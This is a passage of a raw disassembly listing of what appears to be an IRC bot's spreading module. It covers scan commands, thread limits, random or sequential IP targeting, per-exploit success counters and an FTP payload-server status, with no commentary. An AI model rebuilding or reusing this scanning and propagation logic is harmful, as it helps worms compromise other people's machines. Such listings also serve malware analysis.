		mov	[eax], edx

locret_42263B:				; CODE XREF: sub_422620+11j
		retn
sub_422620	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422650	proc near		; CODE XREF: sub_40201Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422691
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401677


loc_422691:				; CODE XREF: sub_422650+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422650	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_401ED3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4226E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422721
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014C9


loc_422721:				; CODE XREF: sub_4226E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_401A78j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019BA
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422770	proc near		; CODE XREF: sub_401F9Bj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422790	proc near		; CODE XREF: sub_401677j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014C9
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422790	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227C0	proc near		; CODE XREF: sub_4019BAj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_4227D8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4227D8:				; CODE XREF: sub_4227C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4227C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4227F0	proc near		; CODE XREF: sub_401AE1j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4227F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D5FCB, offset aAsn ; "asn"
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4227F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422A40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422A40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422B0A
		push	3
		call	sub_401483
		add	esp, 4
		test	eax, eax
		jle	short loc_422ADD
		push	3
		call	sub_401D8E
		mov	eax, dword_50BB90[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422ADD:				; CODE XREF: sub_422A40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422B0A:				; CODE XREF: sub_422A40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422BB0
		mov	edi, dword_4D63B0
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4231BD
		mov	edx, dword_44768F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422BB0:				; CODE XREF: sub_422A40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422C30
		push	eax
		push	3
		call	sub_401D93
		add	esp, 8
		test	eax, eax
		jle	short loc_422C05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C05:				; CODE XREF: sub_422A40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C30:				; CODE XREF: sub_422A40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_422CDE
		push	3
		call	sub_401483
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	2
		push	eax
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422E56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_422CDE:				; CODE XREF: sub_422A40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422E39
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_444448
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422D69
		mov	eax, offset dword_444448


loc_422D55:				; CODE XREF: sub_422A40+327j
		cmp	[eax+8], edi
		jb	short loc_422D5F
		mov	[esp+7A0h+var_78D], 1


loc_422D5F:				; CODE XREF: sub_422A40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422D55


loc_422D69:				; CODE XREF: sub_422A40+30Ej
		mov	ebp, off_50FBF0
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_5EFFD5
		mov	eax, dword_444448
		add	esp, 8
		test	eax, eax
		jz	short loc_422DCF
		mov	edi, offset dword_444450


loc_422D8F:				; CODE XREF: sub_422A40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_5EFFD5
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		call	near ptr 77C47920h
		nop
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422D8F


loc_422DCF:				; CODE XREF: sub_422A40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_5EFFD5
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		call	near ptr 77C47920h
		nop
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422E29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	0
		call	sub_401523
		add	esp, 10h


loc_422E29:				; CODE XREF: sub_422A40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422E39:				; CODE XREF: sub_422A40+1C0j
					; sub_422A40+1EBj ...
		xor	al, al


loc_422E3B:				; CODE XREF: sub_422A40+98j
					; sub_422A40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422E56:				; CODE XREF: sub_422A40+26Ej
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_422F33
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_422F43
; ---------------------------------------------------------------------------


loc_422F33:				; CODE XREF: sub_422A40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_422F43
		mov	[esp+7A0h+var_658], 3Ch


loc_422F43:				; CODE XREF: sub_422A40+4F1j
					; sub_422A40+4F6j
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_422F9C
		mov	[esp+7A0h+var_654], eax


loc_422F9C:				; CODE XREF: sub_422A40+553j
		mov	eax, dword_444448
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42306C
		mov	ebp, offset dword_444448
		jmp	short loc_422FC2
; ---------------------------------------------------------------------------


loc_422FBF:				; CODE XREF: sub_422A40+602j
		or	ebx, 0FFFFFFFFh


loc_422FC2:				; CODE XREF: sub_422A40+57Dj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_422FEC:				; CODE XREF: sub_422A40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423010
		test	al, al
		jz	short loc_42300C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423010
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_422FEC


loc_42300C:				; CODE XREF: sub_422A40+5B6j
		xor	eax, eax
		jmp	short loc_423014
; ---------------------------------------------------------------------------


loc_423010:				; CODE XREF: sub_422A40+5B2j
					; sub_422A40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423014:				; CODE XREF: sub_422A40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42304A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_422FBF
		jmp	short loc_423069
; ---------------------------------------------------------------------------


loc_42304A:				; CODE XREF: sub_422A40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_444448[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423069:				; CODE XREF: sub_422A40+608j
		or	ebx, 0FFFFFFFFh


loc_42306C:				; CODE XREF: sub_422A40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42308A
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4231A5
; ---------------------------------------------------------------------------


loc_42308A:				; CODE XREF: sub_422A40+635j
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset dword_443DD4
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013E3
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423167
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017E4
		push	eax
		call	near ptr 77C47660h
		nop
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423296
; ---------------------------------------------------------------------------


loc_423167:				; CODE XREF: sub_422A40+688j
		push	offset dword_444584
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset off_444580
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset aB	; " -b"
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4231A5:				; CODE XREF: sub_422A40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_4231BD:				; CODE XREF: sub_422A40+132j
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_4231C4:				; CODE XREF: sub_422A40+735j
					; sub_422A40+745j ...
		mov	ecx, dword_4D60CD
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		call	near ptr 71AB951Eh
		nop
		push	offset off_444580
		mov	ecx, esi
		call	sub_4013E3
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_444584
		call	sub_4013E3
		test	eax, eax
		jz	short loc_42328B
		push	offset off_444580
		mov	ecx, esi
		call	sub_4013E3
		mov	ebp, dword_50FA90
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42327E


loc_423262:				; CODE XREF: sub_422A40+83Cj
		test	eax, eax
		jz	short loc_42327E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423262


loc_42327E:				; CODE XREF: sub_422A40+820j
					; sub_422A40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423296
; ---------------------------------------------------------------------------


loc_42328B:				; CODE XREF: sub_422A40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423296:				; CODE XREF: sub_422A40+722j
					; sub_422A40+849j
		mov	edx, dword_4D60CD
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4232F8
		mov	eax, offset aSequential	; "sequential"


loc_4232F8:				; CODE XREF: sub_422A40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:44442Ah[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BD6
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402261
		mov	al, 1
		jmp	loc_422E3B
sub_422A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4235F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_446F70
		mov	ecx, offset dword_447998
		setnz	bl
		call	sub_4014D3
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D60B5
		call	sub_401848
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_444450[eax*4]
		inc	ecx
		mov	dword_444450[eax*4], ecx
		mov	al, 1
		retn
sub_4235F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423660	proc near		; CODE XREF: sub_401DF7j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50DAE8
		nop
		call	sub_5EFFD5
		mov	eax, offset dword_50DAE8
		add	esp, 2Ch
		retn
sub_423660	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423720	proc near		; CODE XREF: sub_401F37j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50BB90[esi*8]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		inc	eax
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	dword_50BB90[esi*8], eax
		pop	esi
		retn
sub_423720	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401131j

